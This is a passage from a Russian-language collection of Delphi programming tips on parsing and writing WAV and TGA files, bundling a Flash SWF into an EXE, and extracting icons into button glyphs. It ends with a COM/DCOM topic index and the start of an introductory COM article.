Сразу оговорюсь, что рассматривать я буду только PCM формат - самый простой. Wav-файл состоит из заголовка и собственно информации. В заголовке находится информация о типе файла, частоте, каналах и т.д. Сама информация состоит из массива чисел по 8 или 16 бит. Если в файле 2 канала, то значения левого и правого каналов записываются поочередно.
Для работы с заголовком удобнее всего использовать запись, расположение полей в которой будет повторять расположение информации в файле. Например, первая запись в wav-файле - это символы "RIFF". Соответственно, первое поле в записи должно быть массивом из четырех элементов типа char. Вторая запись - длина файла без 8 байт (без первых двух записей). Длина записана в четырех байтах целым числом. Поэтому взят тип longint. Так составляется эта запись. Когда нужно целое число длиной 2 байта - берется smallint.
О создании wav-файлов и хранении самой информации я расскажу в следующем выпуске.
Эта программа выводит в Memo длину wav-файла, количество каналов, частоту и количество бит на запись.
Скачать необходимые для компиляции файлы проекта можно на program.dax.ru.

type
  TWaveHeader = record
    idRiff: array[0..3] of char;
    RiffLen: longint;
    idWave: array[0..3] of char;
    idFmt: array[0..3] of char;
    InfoLen: longint;
    WaveType: smallint;
    Ch: smallint;
    Freq: longint;
    BytesPerSec: longint;
    align: smallint;
    Bits: smallint;
  end;

  TDataHeader = record
    idData: array[0..3] of char;
    DataLen: longint;
  end;

// Процедура ?тения заголовка wav-файлов

procedure ReadWaveHeader(Stream: TStream;
  var SampleCount, SamplesPerSec: integer;
  var BitsPerSample, Channeles: smallint);
var
  WaveHeader: TWaveHeader;
  DataHeader: TDataHeader;
begin
  Stream.Read(WaveHeader, sizeof(TWaveHeader));
  with WaveHeader do
    begin
      if idRiff <> 'RIFF' then raise EReadError.Create('Wrong idRIFF');
      if idWave <> 'WAVE' then raise EReadError.Create('Wrong idWAVE');
      if idFmt <> 'fmt ' then raise EReadError.Create('Wrong idFmt');
      if WaveType <> 1 then raise EReadError.Create('Unknown format');
      Channeles := Ch;
      SamplesPerSec := Freq;
      BitsPerSample := Bits;
      Stream.Seek(InfoLen - 16, soFromCurrent);
    end;
  Stream.Read(DataHeader, sizeof(TDataHeader));
  if DataHeader.idData = 'fact' then
    begin
      Stream.Seek(4, soFromCurrent);
      Stream.Read(DataHeader, sizeof(TDataHeader));
    end;
  with DataHeader do
    begin
      if idData <> 'data' then raise EReadError.Create('Wrong idData');
      SampleCount := DataLen div (Channeles * BitsPerSample div 8)
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.Filter := 'Wave files|*.wav';
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  F: TFileStream;
  SampleCount, SamplesPerSec: integer;
  BitsPerSample, Channeles: smallint;
begin
// Вызов OpenDialog1:
  if not OpenDialog1.Execute then Exit;
  try
// Открытие файла:
    F := TFileStream.Create(OpenDialog1.FileName, fmOpenRead);
// Чтение заголовка:
    ReadWaveHeader(F, SampleCount, SamplesPerSec,
      BitsPerSample, Channeles);
    F.Free;
    Memo1.Clear;
// Заполнение Memo информацией о файле:
    Memo1.Lines.Add('SampleCount: ' + IntToStr(SampleCount));
    Memo1.Lines.Add(Format('Length: %5.3f sec', [SampleCount / SamplesPerSec]));
    Memo1.Lines.Add('Channeles: ' + IntToStr(Channeles));
    Memo1.Lines.Add('Freq: ' + IntToStr(SamplesPerSec));
    Memo1.Lines.Add('Bits: ' + IntToStr(BitsPerSample));
  except
    raise Exception.Create('Problems with file reading');
  end;
end;

Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru

Взято с Vingrad.ru http://forum.vingrad.ru


Работа с TGA файлами

const
  FERRORMSG2 = 'Sorry, Unsupported Compressed(RLE) File Format';
  FERRORMSG3 = 'Sorry, Unsupported More Than 256 Colours File Format';

type
  TArrBuff = array[1..512] of Byte;
  TPalette_Cell = record
    b2, g2, r2: byte;
  end;
  TPal = array[0..255] of TPalette_Cell;
  TPPal = ^TPal;
  TTGA_Header = record // Targa(TGA) HEADER //
    IDLength, ColorMap, ImageType: byte;
    ClrMapSpes: array[1..5] of byte;
    XAwal, YAwal, Width, Height: SmallInt;
    BpPixel, ImageDescription: byte;
  end;

var
  pal: TPPal;
  pFile: file;
  buffer: TArrBuff;
  FTgaHeader: TTGA_Header;

procedure THPTGA.ReadImageData2Bitmap;
var
  i, j, idx: integer;
begin
  Seek(pFile, sizeof(FtgaHeader) + FtgaHeader.IDLength + 768);
  for i := FtgaHeader.Height - 1 downto FtgaHeader.YAwal do
  begin
    BlockRead(pFile, buffer, FtgaHeader.Width);
    for j := FtgaHeader.XAwal to FtgaHeader.Width - 1 do
    begin
      idx := j - FtgaHeader.XAwal + 1;
      SetPixel(Bitmap.Canvas.Handle, j, i, rgb(pal^[buffer[idx]].r2,
        pal^[buffer[idx]].g2, pal^[buffer[idx]].b2));
    end;
  end;
end;

procedure THPTGA.LoadFromFile(const FileName: string);
begin
  AssignFile(pFile, FileName);
{$I-}Reset(pFile, 1);
{$I+}
  if (IOResult = 0) then
  begin
    try
      BlockRead(pFile, FtgaHeader, SizeOf(FtgaHeader));
      // checking unsupported features here
      if (FtgaHeader.ImageType > 3) then
      begin
        MessageBox(Application.Handle, FERRORMSG2, 'TGA Viewer Error', MB_ICONHAND);
        exit;
      end;
      if (FtgaHeader.BpPixel > 8) then
      begin
        MessageBox(Application.Handle, FERRORMSG3, 'TGA Viewer Error', MB_ICONHAND);
        exit;
      end;
      GetMem(pal, 768);
      try
        Bitmap.Width := FtgaHeader.Width;
        Bitmap.Height := FtgaHeader.Height;
        // if use Color-Map and Uncompressed then read it
        if (FtgaHeader.ImageType = 1) then
          BlockRead(pFile, pal^, 768);
        ReadImageData2Bitmap;
      finally
        FreeMem(pal);
      end;
    finally
      CloseFile(pFile);
    end;
  end
  else
    MessageBox(Application.Handle, 'Error Opening File', 'TGA Viewer Error',
      MB_ICONHAND);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Формат wave файла

TWaveHeader = record
  Marker1: array[0..3] of Char;
  BytesFollowing: LongInt;
  Marker2: array[0..3] of Char;
  Marker3: array[0..3] of Char;
  Fixed1: LongInt;
  FormatTag: Word;
  Channels: Word;
  SampleRate: LongInt;
  BytesPerSecond: LongInt;
  BytesPerSample: Word;
  BitsPerSample: Word;
  Marker4: array[0..3] of Char;
  DataBytes: LongInt;
end;

Для создания собственного WAV-файла сделайте следующее:

DataBytes := Channels;
DataBytes := DataBytes * SampleRate;
DataBytes := DataBytes * Resolution;
DataBytes := DataBytes div 8;
DataBytes := DataBytes * Duration;
DataBytes := DataBytes div 1000;

WaveHeader.Marker1 := 'RIFF';
WaveHeader.BytesFollowing := DataBytes + 36;
WaveHeader.Marker2 := 'WAVE';
WaveHeader.Marker3 := 'fmt ';
WaveHeader.Fixed1 := 16;
WaveHeader.FormatTag := 1;
WaveHeader.SampleRate := SampleRate;
WaveHeader.Channels := Channels;
WaveHeader.BytesPerSecond := Channels;
WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond * SampleRate;
WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond * Resolution;
WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond div 8;
WaveHeader.BytesPerSample := Channels * Resolution div 8;
WaveHeader.BitsPerSample := Resolution;
WaveHeader.Marker4 := 'data';
WaveHeader.DataBytes := DataBytes;

Остальная часть файлы является звуковыми данными. Порядок следования: верхний уровень для левого канала, верхний уровень для правого канала и так далее. Для моно или 8-битных файлов сделайте соответствующие изменения.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Декомпилляция звукового файла формата Wave и получение звуковых данных

Интересно, есть ли технология преобразования Wave-формата в обычный набор звуковых данных? К примеру, мне необходимо удалить заголовок и механизм (метод) сжатия, которые могут компилироваться и сохраняться вместе с Wave-файлами.

У меня есть программа под D1/D2, которая читает WAV-файлы и вытаскивает исходные данные, но она не может их восстанавить, используя зашитый алгоритм сжатия.

unit LinearSystem;

interface

{============== Тип, описывающий формат WAV ==================}
type
  WAVHeader = record

    nChannels: Word;
    nBitsPerSample: LongInt;
    nSamplesPerSec: LongInt;
    nAvgBytesPerSec: LongInt;
    RIFFSize: LongInt;
    fmtSize: LongInt;
    formatTag: Word;
    nBlockAlign: LongInt;
    DataSize: LongInt;
  end;

  {============== Поток данных сэмпла ========================}
const
  MaxN = 300; { максимальное значение величины сэмпла }
type
  SampleIndex = 0..MaxN + 3;
type
  DataStream = array[SampleIndex] of Real;

var
  N: SampleIndex;

  {============== Переменные сопровождения ======================}
type
  Observation = record

    Name: string[40]; {Имя данного сопровождения}
    yyy: DataStream; {Массив указателей на данные}
    WAV: WAVHeader; {Спецификация WAV для сопровождения}
    Last: SampleIndex; {Последний доступный индекс yyy}
    MinO, MaxO: Real; {Диапазон значений yyy}
  end;

var
  K0R, K1R, K2R, K3R: Observation;

  K0B, K1B, K2B, K3B: Observation;

  {================== Переменные имени файла ===================}
var
  StandardDatabase: string[80];

  BaseFileName: string[80];
  StandardOutput: string[80];
  StandardInput: string[80];

  {=============== Объявления процедур ==================}
procedure ReadWAVFile(var Ki, Kj: Observation);
procedure WriteWAVFile(var Ki, Kj: Observation);
procedure ScaleData(var Kk: Observation);
procedure InitAllSignals;
procedure InitLinearSystem;

implementation
{$R *.DFM}
uses VarGraph, SysUtils;

{================== Стандартный формат WAV-файла ===================}
const
  MaxDataSize: LongInt = (MaxN + 1) * 2 * 2;
const
  MaxRIFFSize: LongInt = (MaxN + 1) * 2 * 2 + 36;
const
  StandardWAV: WAVHeader = (

    nChannels: Word(2);
    nBitsPerSample: LongInt(16);
    nSamplesPerSec: LongInt(8000);
    nAvgBytesPerSec: LongInt(32000);
    RIFFSize: LongInt((MaxN + 1) * 2 * 2 + 36);
    fmtSize: LongInt(16);
    formatTag: Word(1);
    nBlockAlign: LongInt(4);
    DataSize: LongInt((MaxN + 1) * 2 * 2)
    );

  {================== Сканирование переменных сопровождения ===================}

procedure ScaleData(var Kk: Observation);
var
  I: SampleIndex;
begin

  {Инициализация переменных сканирования}
  Kk.MaxO := Kk.yyy[0];
  Kk.MinO := Kk.yyy[0];

  {Сканирование для получения максимального и минимального значения}
  for I := 1 to Kk.Last do
  begin
    if Kk.MaxO < Kk.yyy[I] then
      Kk.MaxO := Kk.yyy[I];
    if Kk.MinO > Kk.yyy[I] then
      Kk.MinO := Kk.yyy[I];
  end;
end; { ScaleData }

procedure ScaleAllData;
begin

  ScaleData(K0R);
  ScaleData(K0B);
  ScaleData(K1R);
  ScaleData(K1B);
  ScaleData(K2R);
  ScaleData(K2B);
  ScaleData(K3R);
  ScaleData(K3B);
end; {ScaleAllData}

{================== Считывание/запись WAV-данных ===================}

var
  InFile, OutFile: file of Byte;

type
  Tag = (F0, T1, M1);
type
  FudgeNum = record

    case X: Tag of
      F0: (chrs: array[0..3] of Byte);
      T1: (lint: LongInt);
      M1: (up, dn: Integer);
  end;
var
  ChunkSize: FudgeNum;

procedure WriteChunkName(Name: string);
var
  i: Integer;

  MM: Byte;
begin

  for i := 1 to 4 do
  begin
    MM := ord(Name[i]);
    write(OutFile, MM);
  end;
end; {WriteChunkName}

procedure WriteChunkSize(LL: Longint);
var
  I: integer;
begin

  ChunkSize.x := T1;
  ChunkSize.lint := LL;
  ChunkSize.x := F0;
  for I := 0 to 3 do
    Write(OutFile, ChunkSize.chrs[I]);
end;

procedure WriteChunkWord(WW: Word);
var
  I: integer;
begin

  ChunkSize.x := T1;
  ChunkSize.up := WW;
  ChunkSize.x := M1;
  for I := 0 to 1 do
    Write(OutFile, ChunkSize.chrs[I]);
end; {WriteChunkWord}

procedure WriteOneDataBlock(var Ki, Kj: Observation);
var
  I: Integer;
begin

  ChunkSize.x := M1;
  with Ki.WAV do
  begin
    case nChannels of
      1: if nBitsPerSample = 16 then
        begin {1..2 Помещаем в буфер одноканальный 16-битный сэмпл}
          ChunkSize.up := trunc(Ki.yyy[N] + 0.5);
          if N < MaxN then
            ChunkSize.dn := trunc(Ki.yyy[N + 1] + 0.5);
          N := N + 2;
        end
        else
        begin {1..4 Помещаем в буфер одноканальный 8-битный сэмпл}
          for I := 0 to 3 do
            ChunkSize.chrs[I]
              := trunc(Ki.yyy[N + I] + 0.5);
          N := N + 4;
        end;
      2: if nBitsPerSample = 16 then
        begin {2 Двухканальный 16-битный сэмпл}
          ChunkSize.dn := trunc(Ki.yyy[N] + 0.5);
          ChunkSize.up := trunc(Kj.yyy[N] + 0.5);
          N := N + 1;
        end
        else
        begin {4 Двухканальный 8-битный сэмпл}
          ChunkSize.chrs[1] := trunc(Ki.yyy[N] + 0.5);
          ChunkSize.chrs[3] := trunc(Ki.yyy[N + 1] + 0.5);
          ChunkSize.chrs[0] := trunc(Kj.yyy[N] + 0.5);
          ChunkSize.chrs[2] := trunc(Kj.yyy[N + 1] + 0.5);
          N := N + 2;
        end;
    end; {with WAV do begin..}
  end; {четырехбайтовая переменная "ChunkSize" теперь заполнена}

  ChunkSize.x := T1;
  WriteChunkSize(ChunkSize.lint); {помещаем 4 байта данных}
end; {WriteOneDataBlock}

procedure WriteWAVFile(var Ki, Kj: Observation);
var
  MM: Byte;

  I: Integer;
  OK: Boolean;
begin

  {Приготовления для записи файла данных}
  AssignFile(OutFile, StandardOutput); { Файл, выбранный в диалоговом окне }
  ReWrite(OutFile);
  with Ki.WAV do
  begin
    DataSize := nChannels * (nBitsPerSample div 8) * (Ki.Last + 1);
    RIFFSize := DataSize + 36;
    fmtSize := 16;
  end;

  {Записываем ChunkName "RIFF"}
  WriteChunkName('RIFF');

  {Записываем ChunkSize}
  WriteChunkSize(Ki.WAV.RIFFSize);

  {Записываем ChunkName "WAVE"}
  WriteChunkName('WAVE');

  {Записываем tag "fmt_"}
  WriteChunkName('fmt ');

  {Записываем ChunkSize}
  Ki.WAV.fmtSize := 16; {должно быть 16-18}
  WriteChunkSize(Ki.WAV.fmtSize);

  {Записываем  formatTag, nChannels}
  WriteChunkWord(Ki.WAV.formatTag);
  WriteChunkWord(Ki.WAV.nChannels);

  {Записываем  nSamplesPerSec}
  WriteChunkSize(Ki.WAV.nSamplesPerSec);

  {Записываем  nAvgBytesPerSec}
  WriteChunkSize(Ki.WAV.nAvgBytesPerSec);

  {Записываем  nBlockAlign, nBitsPerSample}
  WriteChunkWord(Ki.WAV.nBlockAlign);
  WriteChunkWord(Ki.WAV.nBitsPerSample);

  {Записываем метку блока данных "data"}
  WriteChunkName('data');

  {Записываем DataSize}
  WriteChunkSize(Ki.WAV.DataSize);

  N := 0; {первая запись-позиция}
  while N <= Ki.Last do
    WriteOneDataBlock(Ki, Kj); {помещаем 4 байта и увеличиваем счетчик N}

  {Освобождаем буфер файла}
  CloseFile(OutFile);
end; {WriteWAVFile}

procedure InitSpecs;
begin
end; { InitSpecs }

procedure InitSignals(var Kk: Observation);
var
  J: Integer;
begin

  for J := 0 to MaxN do
    Kk.yyy[J] := 0.0;
  Kk.MinO := 0.0;
  Kk.MaxO := 0.0;
  Kk.Last := MaxN;
end; {InitSignals}

procedure InitAllSignals;
begin
  InitSignals(K0R);
  InitSignals(K0B);
  InitSignals(K1R);
  InitSignals(K1B);
  InitSignals(K2R);
  InitSignals(K2B);
  InitSignals(K3R);
  InitSignals(K3B);
end; {InitAllSignals}

var
  ChunkName: string[4];

procedure ReadChunkName;
var
  I: integer;

  MM: Byte;
begin

  ChunkName[0] := chr(4);
  for I := 1 to 4 do
  begin
    Read(InFile, MM);
    ChunkName[I] := chr(MM);
  end;
end; {ReadChunkName}

procedure ReadChunkSize;
var
  I: integer;

  MM: Byte;
begin

  ChunkSize.x := F0;
  ChunkSize.lint := 0;
  for I := 0 to 3 do
  begin
    Read(InFile, MM);
    ChunkSize.chrs[I] := MM;
  end;
  ChunkSize.x := T1;
end; {ReadChunkSize}

procedure ReadOneDataBlock(var Ki, Kj: Observation);
var
  I: Integer;
begin

  if N <= MaxN then
  begin
    ReadChunkSize; {получаем 4 байта данных}
    ChunkSize.x := M1;
    with Ki.WAV do
      case nChannels of
        1: if nBitsPerSample = 16 then
          begin {1..2 Помещаем в буфер одноканальный 16-битный сэмпл}
            Ki.yyy[N] := 1.0 * ChunkSize.up;
            if N < MaxN then
              Ki.yyy[N + 1] := 1.0 * ChunkSize.dn;
            N := N + 2;
          end
          else
          begin {1..4 Помещаем в буфер одноканальный 8-битный сэмпл}
            for I := 0 to 3 do
              Ki.yyy[N + I] := 1.0 * ChunkSize.chrs[I];
            N := N + 4;
          end;
        2: if nBitsPerSample = 16 then
          begin {2 Двухканальный 16-битный сэмпл}
            Ki.yyy[N] := 1.0 * ChunkSize.dn;
            Kj.yyy[N] := 1.0 * ChunkSize.up;
            N := N + 1;
          end
          else
          begin {4 Двухканальный 8-битный сэмпл}
            Ki.yyy[N] := 1.0 * ChunkSize.chrs[1];
            Ki.yyy[N + 1] := 1.0 * ChunkSize.chrs[3];
            Kj.yyy[N] := 1.0 * ChunkSize.chrs[0];
            Kj.yyy[N + 1] := 1.0 * ChunkSize.chrs[2];
            N := N + 2;
          end;
      end;
    if N <= MaxN then
    begin {LastN    := N;}
      Ki.Last := N;
      if Ki.WAV.nChannels = 2 then
        Kj.Last := N;
    end
    else
    begin {LastN    := MaxN;}
      Ki.Last := MaxN;
      if Ki.WAV.nChannels = 2 then
        Kj.Last := MaxN;

    end;
  end;
end; {ReadOneDataBlock}

procedure ReadWAVFile(var Ki, Kj: Observation);
var
  MM: Byte;

  I: Integer;
  OK: Boolean;
  NoDataYet: Boolean;
  DataYet: Boolean;
  nDataBytes: LongInt;
begin

  if FileExists(StandardInput) then
    with Ki.WAV do
    begin { Вызов диалога открытия файла }
      OK := True; {если не изменится где-нибудь ниже}
      {Приготовления для чтения файла данных}
      AssignFile(InFile, StandardInput); { Файл, выбранный в диалоговом окне }
      Reset(InFile);

      {Считываем ChunkName "RIFF"}
      ReadChunkName;
      if ChunkName <> 'RIFF' then
        OK := False;

      {Считываем ChunkSize}
      ReadChunkSize;
      RIFFSize := ChunkSize.lint; {должно быть 18,678}

      {Считываем ChunkName "WAVE"}
      ReadChunkName;
      if ChunkName <> 'WAVE' then
        OK := False;

      {Считываем ChunkName "fmt_"}
      ReadChunkName;
      if ChunkName <> 'fmt ' then
        OK := False;

      {Считываем ChunkSize}
      ReadChunkSize;
      fmtSize := ChunkSize.lint; {должно быть 18}

      {Считываем  formatTag, nChannels}
      ReadChunkSize;
      ChunkSize.x := M1;
      formatTag := ChunkSize.up;
      nChannels := ChunkSize.dn;

      {Считываем  nSamplesPerSec}
      ReadChunkSize;
      nSamplesPerSec := ChunkSize.lint;

      {Считываем  nAvgBytesPerSec}
      ReadChunkSize;
      nAvgBytesPerSec := ChunkSize.lint;

      {Считываем  nBlockAlign}
      ChunkSize.x := F0;
      ChunkSize.lint := 0;
      for I := 0 to 3 do
      begin
        Read(InFile, MM);
        ChunkSize.chrs[I] := MM;
      end;
      ChunkSize.x := M1;
      nBlockAlign := ChunkSize.up;

      {Считываем  nBitsPerSample}
      nBitsPerSample := ChunkSize.dn;
      for I := 17 to fmtSize do
        Read(InFile, MM);

      NoDataYet := True;
      while NoDataYet do
      begin
        {Считываем метку блока данных "data"}
        ReadChunkName;

        {Считываем DataSize}
        ReadChunkSize;
        DataSize := ChunkSize.lint;

        if ChunkName <> 'data' then
        begin
          for I := 1 to DataSize do
            {пропуск данных, не относящихся к набору звуковых данных}
            Read(InFile, MM);
        end
        else
          NoDataYet := False;
      end;

      nDataBytes := DataSize;
      {Наконец, начинаем считывать данные для байтов nDataBytes}
      if nDataBytes > 0 then
        DataYet := True;
      N := 0; {чтение с первой позиции}
      while DataYet do
      begin
        ReadOneDataBlock(Ki, Kj); {получаем 4 байта}
        nDataBytes := nDataBytes - 4;
        if nDataBytes <= 4 then
          DataYet := False;
      end;

      ScaleData(Ki);
      if Ki.WAV.nChannels = 2 then
      begin
        Kj.WAV := Ki.WAV;
        ScaleData(Kj);
      end;
      {Освобождаем буфер файла}
      CloseFile(InFile);
    end
  else
  begin
    InitSpecs; {файл не существует}
    InitSignals(Ki); {обнуляем массив "Ki"}
    InitSignals(Kj); {обнуляем массив "Kj"}
  end;
end; { ReadWAVFile }

{================= Операции с набором данных ====================}

const
  MaxNumberOfDataBaseItems = 360;
type
  SignalDirectoryIndex = 0..MaxNumberOfDataBaseItems;

var
  DataBaseFile: file of Observation;

  LastDataBaseItem: LongInt; {Номер текущего элемента набора данных}
  ItemNameS: array[SignalDirectoryIndex] of string[40];

procedure GetDatabaseItem(Kk: Observation; N: LongInt);
begin

  if N <= LastDataBaseItem then
  begin
    Seek(DataBaseFile, N);
    Read(DataBaseFile, Kk);
  end
  else
    InitSignals(Kk);
end; {GetDatabaseItem}

procedure PutDatabaseItem(Kk: Observation; N: LongInt);
begin

  if N < MaxNumberOfDataBaseItems then
    if N <= LastDataBaseItem then
    begin
      Seek(DataBaseFile, N);
      Write(DataBaseFile, Kk);
      LastDataBaseItem := LastDataBaseItem + 1;
    end
    else
      while LastDataBaseItem <= N do
      begin
        Seek(DataBaseFile, LastDataBaseItem);
        Write(DataBaseFile, Kk);
        LastDataBaseItem := LastDataBaseItem + 1;
      end
  else
    ReportError(1); {Попытка чтения MaxNumberOfDataBaseItems}
end; {PutDatabaseItem}

procedure InitDataBase;
begin

  LastDataBaseItem := 0;
  if FileExists(StandardDataBase) then
  begin
    Assign(DataBaseFile, StandardDataBase);
    Reset(DataBaseFile);
    while not EOF(DataBaseFile) do
    begin
      GetDataBaseItem(K0R, LastDataBaseItem);
      ItemNameS[LastDataBaseItem] := K0R.Name;
      LastDataBaseItem := LastDataBaseItem + 1;
    end;
    if EOF(DataBaseFile) then
      if LastDataBaseItem > 0 then
        LastDataBaseItem := LastDataBaseItem - 1;
  end;
end; {InitDataBase}

function FindDataBaseName(Nstg: string): LongInt;
var
  ThisOne: LongInt;
begin

  ThisOne := 0;
  FindDataBaseName := -1;
  while ThisOne < LastDataBaseItem do
  begin
    if Nstg = ItemNameS[ThisOne] then
    begin
      FindDataBaseName := ThisOne;
      Exit;
    end;
    ThisOne := ThisOne + 1;
  end;
end; {FindDataBaseName}

{======================= Инициализация модуля ========================}

procedure InitLinearSystem;
begin

  BaseFileName := '\PROGRA~1\SIGNAL~1\';
  StandardOutput := BaseFileName + 'K0.wav';
  StandardInput := BaseFileName + 'K0.wav';

  StandardDataBase := BaseFileName + 'Radar.sdb';

  InitAllSignals;
  InitDataBase;
  ReadWAVFile(K0R, K0B);
  ScaleAllData;
end; {InitLinearSystem}

begin {инициализируемый модулем код}

  InitLinearSystem;
end. {Unit LinearSystem}

Взято с http://delphiworld.narod.ru


Flash SWF --> EXE

function Swf2Exe(S, D, F: string): string;
  //S = Source file (swf)
  //D = Destionation file (exe)
  //F = Flash Player
var
  SourceStream, DestinyStream, LinkStream: TFileStream;
  flag: Cardinal;
  SwfFileSize: Integer;
begin
  Result := 'something error';
  DestinyStream := TFileStream.Create(D, fmCreate);
  try
    LinkStream := TFileStream.Create(F, fmOpenRead or fmShareExclusive);
    try
      DestinyStream.CopyFrom(LinkStream, 0);
    finally
      LinkStream.Free;
    end;

    SourceStream := TFileStream.Create(S, fmOpenRead or fmShareExclusive);
    try
      DestinyStream.CopyFrom(SourceStream, 0);
      flag := $FA123456;
      DestinyStream.WriteBuffer(flag, SizeOf(Integer));
      SwfFileSize := SourceStream.Size;
      DestinyStream.WriteBuffer(SwfFileSize, SizeOf(Integer));
      Result := '';
    finally
      SourceStream.Free;
    end;
  finally
    DestinyStream.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Swf2Exe('c:\somefile.swf', 'c:\somefile.exe',
    'c:\Program Files\Macromedia\Flash MX\Players\SAFlashPlayer.exe');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Преобразование иконок в Gliph-ы

Вот небольшой пример того, как можно загрузить иконку, содержащуюся в файле EXE, в Glyph у SpeedButton, и как очистить этот самый Glyph.

Огорчен, но комментарии в исходном коде на испанском языке.

unit Procs;

interface
uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, StdCtrls, Buttons, ExtCtrls, ShellAPI;

procedure LlenaBoton(boton: TSpeedButton; Programa: string);
procedure LimpiaBoton(boton: TSpeedButton);

var
  {Botones de programas}
  Pic: TPicture;
  Fname: string;
  TempFile: array[0..255] of Char;
  Icon: TIcon;

implementation
uses ttotro;

procedure LlenaBoton(boton: TSpeedButton; Programa: string);

var
  NumFiles, NameLength: integer;
  nIconsInFile: word;
  rBoton: TRect;
  oBitmap: TBitmap;
  oBitmap2: TBitmap;
  NombreBitmap: string;

begin

  try
    screen.cursor := crHourglass;

    {Extrae el Icono}
    Icon := TIcon.Create;
    StrPCopy(TempFile, Programa);
    Icon.Handle := ExtractIcon(HInstance, TempFile, 0);

    {Crea una instancia de TPicture}
    Pic := TPicture.Create;
    {Asigna el icon.handle a la propiedad Pic.icon}

    Pic.Icon := Icon;

    {Configura el tamano del bitmap como el del icono y el del segundo
    bitmap con el tamano del boton}
    oBitmap := TBitMap.create;
    oBitmap2 := TBitMap.create;
    oBitmap2.Width := Icon.Width;
    oBitmap2.Height := Icon.Height;
    oBitmap.Width := boton.Width - 4;
    oBitmap.Height := boton.Height - 4;

    { Dibuja el icono en el bitmap }
    oBitmap2.Canvas.Draw(0, 0, Pic.Graphic);
    rBoton.left := 1;
    rBoton.Top := 1;
    rBoton.right := boton.Width - 6;
    rBoton.Bottom := boton.Height - 6;
    oBitmap.Canvas.StretchDraw(rBoton, oBitmap2);

    Boton.Hint := Programa;

    NombreBitmap := Copy(programa, 1, Length(programa) - 3) + 'BMP';
    {Salva el bitmap en un fichero}
    if not FileExists(NombreBitmap) then
    begin
      oBitmap.SaveToFile(ExtractFilePath(Application.ExeName) +
        ExtractFileName(NombreBitmap));
      Boton.Glyph := oBitmap;
    end
    else
      {Carga el BMP en el boton}
      Boton.Glyph.LoadFromFile(ExtractFilePath(Application.ExeName) +
        ExtractFileName(NombreBitmap));

  finally
    Icon.Free;
    oBitmap.Free;
    oBitmap2.Free;
    screen.cursor := crDefault;

  end; {main begin}
end; {llenaboton}

procedure LimpiaBoton(boton: TSpeedButton);

var
  oBitmap: TBitmap;
  rBoton: TRect;
begin

  try
    {Configuara el tamano del bitmap como el del icono y el del segundo
    bitmap con el tamano del boton}
    oBitmap := TBitMap.create;
    oBitmap.Width := boton.Width - 4;
    oBitmap.Height := boton.Height - 4;
    Boton.Glyph := oBitmap;

  finally
    oBitmap.Free;
  end; {main begin}
end; {limpiaboton}

end.

Взято с http://delphiworld.narod.ru


ActiveX, COM, DCOM, MIDAS, CORBA, интерфейсы, OLE, DDE

Cодержание раздела:

Общие вопросы о COM/DCOM/MIDAS технологии
· Общие сведения о COM (статья)
· COM. Агрегация и нотификация вообще и для Delphi в частности
· Как обрабатывать ошибки в COM-объектах
· Как заставить работать COM объекты в потоке?
· Создание COM-объектов средствами Delphi
· Дайте теоретическое объяснение типу IDispatch
· Что такое MIDAS (multi-tired distributed application service)?
· Как узнать доступен ли DCOM?
· Дельфи IAutoComplete интерфейс
· Pipeline Components.
· Midas и COM. Советы и Приемы
· Тест на корректность GUID и интерфейсов
· Deploying Midas
· Sending a file via DCOM
· Ревизия интерфейсов (статья) New!
· Как получить список всех зарегистрированных typelibs? New!
· Интерфейсы и published свойства New!
· Интерфейс OLE AutoServer New!

Работа с ActiveX, OCX, VBX
· Как зарегистрировать в компонент ActiveX?
· Как узнать установлен ли activeX на машине?
· Как можно создать OCX-компонент?

Общие вопросы о CORBA технологии
· Документация по Corba
· Сравнительный анализ технологий CORBA и COM

Распределённые приложения баз данных New!
· Технология DataSnap (статья) New!
· Сервер приложения (статья) New!
· Клиент многозвенного распределенного приложения (статья) New!

Работа с приложениями MS Office
· Работа с Excel из Дельфи (раздел)
· Работа с MS Word (раздел)
· Работа с Outlook (раздел)
· Как работать с Powerpoint через OLE?
· Проверка правописания и синонимов при помощи компонентов MS Office
· Как использовать проверку грамматики?

Работа с различными приложениями (не MS Office)
· Delphi и Corel Draw.
· Как работать с адресной книгой Lotus Notes?
· Delphi и Flash
· MS Exchange API
· Работа с Photoshop
· Взаимодействуем с Winamp
· Delphi и 1C - экспорт и импорт

DDE
· Как можно работать с DDE?


Общие вопросы о COM/DCOM/MIDAS технологии

Cодержание раздела:

Общие сведения о COM (статья)
Delphi и COM (статья) New!
COM. Агрегация и нотификация вообще и для Delphi в частности
Как обрабатывать ошибки в COM-объектах
Как заставить работать COM объекты в потоке?
Создание COM-объектов средствами Delphi
Дайте теоретическое объяснение типу IDispatch
Что такое MIDAS (multi-tired distributed application service)?
Как узнать доступен ли DCOM?
Дельфи IAutoComplete интерфейс
Pipeline Components.
Midas и COM. Советы и Приемы
Тест на корректность GUID и интерфейсов
Deploying Midas
Sending a file via DCOM
Ревизия интерфейсов (статья) New!
Как получить список всех зарегистрированных typelibs? New!
Интерфейсы и published свойства New!
Интерфейс OLE AutoServer New!

См. также статьи в других разделах:
Генерация GUID как строки
Как сделать ADOConnection с использованием OLE-Automation? New!


Общие сведения о COM (статья)

Эта статья целиком и полностью написана Fantasist'ом, за что ему огромное спасибо.

Хотел я в общих словах расказать основную идею СOM. Когда я понял, что это такое показалась такая простая вещь, что можно коротко рассказать. Но не получилось...
Что ж, будет немного подлиннее.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Простой пример

Итак, попробуем рассказать в простоте. Вот есть у вас класс - примитивный калькулятор:

MyCalc=class
fx,fy:integer;
public:
procedure SetOperands(x,y:integer)
function Sum:integer;
function Diff:integer;
end;

procedure MyCalc.SetOperands(x,y:integer)
begin
fx:=x; fy:=y;
end;

function MyCalc.Sum:integer;
begin
result:=fx+fy;
end;

function MyCalc.Diff:integer;
begin
result:=fx-fy;
end;

